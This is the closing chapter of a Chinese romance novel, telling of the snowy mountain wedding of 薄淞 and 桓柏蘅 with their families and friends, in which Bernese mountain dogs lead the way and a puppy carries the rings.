明天的婚礼没有闲杂人等,所以不会有化妆师,服装师,也没有主持人,郑云松自告奋勇可以cue流程,桓柏蘅还没同意。 “今天得辛苦你去接他们了。” 桓柏蘅今天有些忙,得去盯现场布置,山里的天气多变,明天下午会有场风雪,所以他们的婚礼挪到早上。 意味着所有布置都得提前。 时间还是紧张的,因此薄淞负责接爷爷爸妈,还有林序淮三人。 爷爷和爸妈要傍晚过来,时间还早,薄淞替几人收拾了下入住的房间,开门通风,差不多中午十二点半,收到林序淮消息,半小时后下火车。 郑云松另一边也发来消息。 【郑云松:学长,辛苦了。】 【薄淞:不客气。】 对薄淞,郑云松肯定不会像对待桓柏蘅那样狂轰乱炸,实际一肚子苦水没地吐。 他和许景渊一道过来,本就图着路上有伴,可自从昨晚飞机飞到一半,许景渊发现林序淮后,他全程都是一个人。 包括飞机落地,找不着人影。 等最后上了一辆火车,才总算见到许景渊,林序淮坐的单人座,许景渊才愿意老实坐他边上。 “你先消停点吧。”郑云松无话可说,望着缓缓驶向站点的火车,“你要搞性骚扰回国再搞,稍微克制点,等会被丢下车我可不管。” 许景渊盯着不远处林序淮望向窗外时半边冷漠的侧脸,咬着牙,“行。” 三人到站点,前后出去。 薄淞在车边,上前。 只住一天缘故,几人都没带行李,简单两个包,不需要放后备箱。 “辛苦你们了。”薄淞微微一笑,“上车吧。” 郑云松拉着许景渊去后座,他们上去后,薄淞看向林序淮,才问,“还好吗?” “我为什么不好。”林序淮蹙眉,“你真啰嗦。” “好吧……” 林序淮拉开副驾门,坐上去,后背就被什么东西砸了下,声音响起在耳边。 “抱歉,耳机飞了。” “” 薄淞上车时,许景渊手伸在林序淮后背和座椅之间的缝隙,被夹紧。 郑云松一脑袋框的砸在椅背上,很崩溃,那是他的耳机啊,全新的。 薄淞和许景渊不太熟悉,对方又是桓柏蘅的朋友,他其实不好说什么,场面一时间僵持住。 “让一让,好吗?”许景渊主要有点火,从头到尾跟他装不熟什么意思,对于单方面被“分手”,他火气很大,憋了很久。 飞机一路,他忍下脾气求和,结果林序淮冷嘲热讽,他们都多久没见,对方并没有一丝要跟他解释意思,见着薄淞,反倒是有说有笑。 许景渊承认冲动,不过这东西砸人又不疼,林序淮太过斤斤计较。 “找什么?”薄淞只好说,“我帮你找。” 许景渊眼神抱歉,用力把手抽回来,“耳机。” “好。” 薄淞示意林序淮让开一些,林序淮直勾勾盯他,没有动作。 “给他吧。”薄淞无奈。 片刻林序淮往前坐了些,耳机掉在座椅,刚才被他压在背后,薄淞伸手去拿,晚了一步,林序淮率先拿起来,优美的抛物线,丢到窗外。 耳机飞出去老远,精准的滚进下水道里。 “” 车厢沉默,一时间没人说话。 “走吧,薄淞。” 许景渊靠回椅背,口型对郑云松补了个“赔你”,庆幸还好刚才没用自己的手机砸,下场惨烈- 回到别墅,薄淞领着几人去房间。 郑云松和许景渊住在三楼,他和林序淮上四楼。 回房林序淮休息了。 飞机上一路没睡好,薄淞没打扰他,镇上他们约了家餐厅,晚上等爷爷和爸妈过来,去餐厅吃饭。 薄淞替他掩上门。 下楼时,许景渊在院子里,薄淞脚步过去。 许景渊看见他,碾了烟,旁边烟灰缸里,已经有两只灭掉的烟头。 “睡了?” “嗯。” 林序淮有点感冒,昨晚飞机上就有征兆,睡着还在咳嗽,许景渊买了药,可知道林序淮不会要他的东西,才拜托薄淞刚才照顾。 薄淞泡了冲剂,盯着林序淮喝下去,上床休息。 “这两天麻烦你多照顾点,他不是会寻求帮助的人。”许景渊嘱咐一句。 薄淞了解,“谢谢。” “不用。”许景渊不认为需要薄淞替林序淮道谢,可林序淮不愿意搭理他,胸口闷堵难散,手下意识摸上烟盒,薄淞还站在这没走,他只好提醒,“柏蘅说你不闻烟味。” 他示意薄淞可以走了。 薄淞转身离开,掩上院子门前,许景渊点燃新的一只在抽了,火星指尖明灭,背影落寞。 “”- 桓柏蘅回来的比预想的早,薄淞从林序淮房间里出来。 和他正好碰上。 “” 薄淞挺意外,确认了下时间点,桓柏蘅到跟前,往房间里看了眼。 门没关拢,他和林序淮视线碰上。 “你怎么这么早回来?” 薄淞把门掩上,阻断视线,像是没注意到桓柏蘅瞬间幽怨不满的目光。 “你呆他房间那么久干嘛?”桓柏蘅不悦道,藏不住一点。 薄淞不知道为什么桓柏蘅对林序淮老是这么多意见,解释,“没有很久,序淮有些感冒,我就去看看。” 他转移开话题,“爷爷和爸妈马上到了,你陪我一起去接,好吗?” 薄淞挽着人一块下楼,桓柏蘅不情不愿,还不高兴,“不好。” 口头拒绝,脚步没停。 薄淞只好楼上楼下飞快扫两眼,然后凑过去,在桓柏蘅唇上蜻蜓点水点了一下然后楼梯口冒出人。 郑云松嘴巴张成o型。 薄淞:“” “那个,我有点饿了,想找点东西垫吧两口。” 郑云松心里震惊,没想到学长这么主动,面上冷静, “客厅茶几上。”桓柏蘅心情好转。 “哦。” 郑云松从楼梯率先下去。 桓柏蘅唇角勾起,“走吧,陪你去。” 两人下楼时,郑云松和许景渊一道,沙发上聊八卦,许景渊该是刚下来,之前没碰上桓柏蘅,敷衍打了个招呼。 薄淞和桓柏蘅去院子开车。 “他们好像挺饿的,我把餐厅时间往前挪一点吧。” 早点吃完饭,也可以让长辈早点休息。 桓柏蘅没意见,薄淞打了个电话给餐厅,定好四十分钟后过去。 两人到车站没等多久,老爷子和薄家父母出现在站口,接好长辈回去,他们在别墅休息一阵,开车往餐厅去。 两辆车分开。 桓柏蘅和薄淞分别载着人,许景渊在被分到桓柏蘅一辆时,不太情愿,“他车技不好,我想去那边。” 这次桓柏蘅都没开口,老爷子先发话。 “挑什么挑?不好好坐,就走过去。” “” 许景渊被老爷子命令坐进去,不敢造次。 车子启动,开出院子,老爷子就开始训话,郑云松偷着乐,然后也被训了。 “景渊起码学好了,知道收心,你是还要在外面玩多久?” “” 桓柏蘅作为一个已婚人士,且婚姻状态让老爷子无比安心,听两人挨训一路,感觉很爽。 最后到餐厅时,老爷子才嘱咐收尾。 “追人就好好追,端正态度,别搞得跟流氓似的,那孩子多乖,你要拿出点诚意来。” 许景渊觉得老爷子对“乖”定义有问题,可也只能憋屈着应了。 一顿饭吃的当地特色,味道不错,全程算是融洽,可毕竟长辈在,话题多少得收敛些,所以主要是还是两家长辈交流,欣慰孩子们情投意合,比起当初多多少少知道两人只是为了应付结婚的复杂心里,这次是实实在在放宽心。 两家人亲密程度也更甚。 然后话题聊到没成婚的。 许景渊已经想逃了,没想林序淮率先一步站起。 “我去个卫生间。” 众人的注视中,人出了大门。 许景渊立刻道,“我也” “坐好。” “” 一时间安静下来,薄淞开口圆场的话打破安静,才重新热络。 桓柏蘅和他咬耳朵,“什么情况?” “车上,爸妈问序淮和景渊的事?” 两家长辈都看得出来,存着几分撮合心思,大概长辈都喜欢拉红线,车上林序淮都快疯了。 薄淞几分无奈,才想着和桓柏蘅接着说,然后听人关注点怕跑偏。 “你为什么喊他两个字?” “啊?” “林序淮就算了,你跟许景渊很熟吗?” “”- 薄淞喊的太亲昵,事后哄了桓柏蘅很久才好,全当乐趣了。 饭后他们回别墅,各自休息。 大家庭一块出来,体验挺奇妙,薄淞想,以后的计划里也不是不可以一起出游,计划提出来被否决。 桓柏蘅只想过二人世界。 “婚礼结束,我们就去领证。” 领证的城市离小镇不远,需要的资料他们早已准备好,流程也都熟悉,明天婚结完开车过去,来回三个小时路程。 后天他们就启程回国。 这次结婚的心情比之前还是轻松许多,洗漱完,薄淞见问不出婚礼细枝末节,也就放弃。 一觉到天亮,醒来时,楼下准备好餐点。 似乎同往常无异。 只是桓柏蘅不在,薄淞大早上就没看见他,他今天竟然睡迟了。 “去现场了,等会我们直接过去。” 郑云松解释一句,薄淞也就陪长辈们呆着,等到点了,被催上楼换衣服。 薄淞换上西服,镜子前简单梳理,确保最完美的状态,出去。 林序淮门口等着,手里捧着一束花,雪山脚下的野花,这两天薄淞和桓柏蘅在周边游玩,常有看见,不知道具体品种,花香很淡。 “你爸妈还有爷爷他们,都先过去了。”林序淮说。 薄淞问,“那我们呢?” 林序淮抿唇,神情严肃,“你还有最后的机会,要不要逃婚?现在没人。” 薄淞哭笑不得,“走啦。” 林序淮才把花递过去,撇了下嘴,“恭喜啊,又结婚了”。 薄淞接过花,至此,才有了点结婚的紧张感。 院内,车子被布置一番,在满车的花海中,薄淞坐上副驾,西装被染了层浅淡的花香,一路往小镇深处开。 薄淞下车时,林序淮领着他往前走了五六分钟,道路被甩在后头,环顾四周,纯白一片,他们开车有一阵,因此这处海拔不低,积雪厚厚累着。 他一时间有些茫然,不知道往哪去,方向已然模糊。 “来了。” 林序淮说。 薄淞顺着他的视线望去,沿着往上的西边雪坡尽头,出现几道身影,铃铛的声音由远至近。 黑影身姿灵活,雪地穿梭,很快到跟前。 薄淞眼底浮现讶异,前来迎接的领头大家伙他认识,镇上咖啡馆要面包丁的伯恩山,显然它也认得薄淞,热情蹭过来贴贴,而它身后,跟着五只小伯恩山。 它们蓬松柔软的毛发沾着白雪,颈处绑着铃铛,排着长队,尾巴晃晃,示意他们往西边过去,云杉立在雪地间,若隐若现的绿意。 薄淞跟着伯恩山们翻过又一个大雪坡,终于看见等待许久的人。 粉紫花团绽放在洁白雪地间,延伸几十米,花朵被用心包扎过,束缚在木架上,抵御风雪,而桓柏蘅一身纯白色礼服,周边长椅坐着亲人朋友桓柏蘅在婚乐中向他一步步走来。 雪山触手可及,风声拂过耳畔。 这一刻,幸福的不真实。 婚礼进行到一半,风雪落下,比预料中早。 临时充当的司仪不太合格,郑云松因为手上的台本在一阵忽然其来的大风中被吹飞,许景渊只得埋头帮他一块雪堆里寻找。 其中免不了几句埋怨。 谁踩到了伯恩山宝宝们的脚不得而知,总而言之,一只乱了,五只全乱了,争吵追赶着撞翻花架,林序淮赶紧去扶老爷子被雪花吹到眼睛,薄爸爸慌乱取伞,薄妈妈不停拍照。 薄淞愣了好一阵,直至桓柏蘅的声音提醒他。 “戒指!” 他心悬紧,“哪?” 桓柏蘅望向扑到远处撒欢的几只,咬牙,“绑了蓝色丝带那只,放它铃铛里了。” 场面一度混乱。 薄淞肩上头发上落满白雪,桓柏蘅也不例外,狼狈的抓住撒欢的小伯,热烘烘的体温钻进薄淞怀里。 桓柏蘅从铃铛取出戒指,冻僵着手指交换戴上,戒指内侧,刻了彼此名字。 这次,是全身心交付。 “我爱你。” “我愿意。” 两人秉着上一次的经验,同时开口,再相视一笑。 无论顺境逆境,富有贫困,认定对方为彼此的唯一伴侣,钟爱一生。 全文完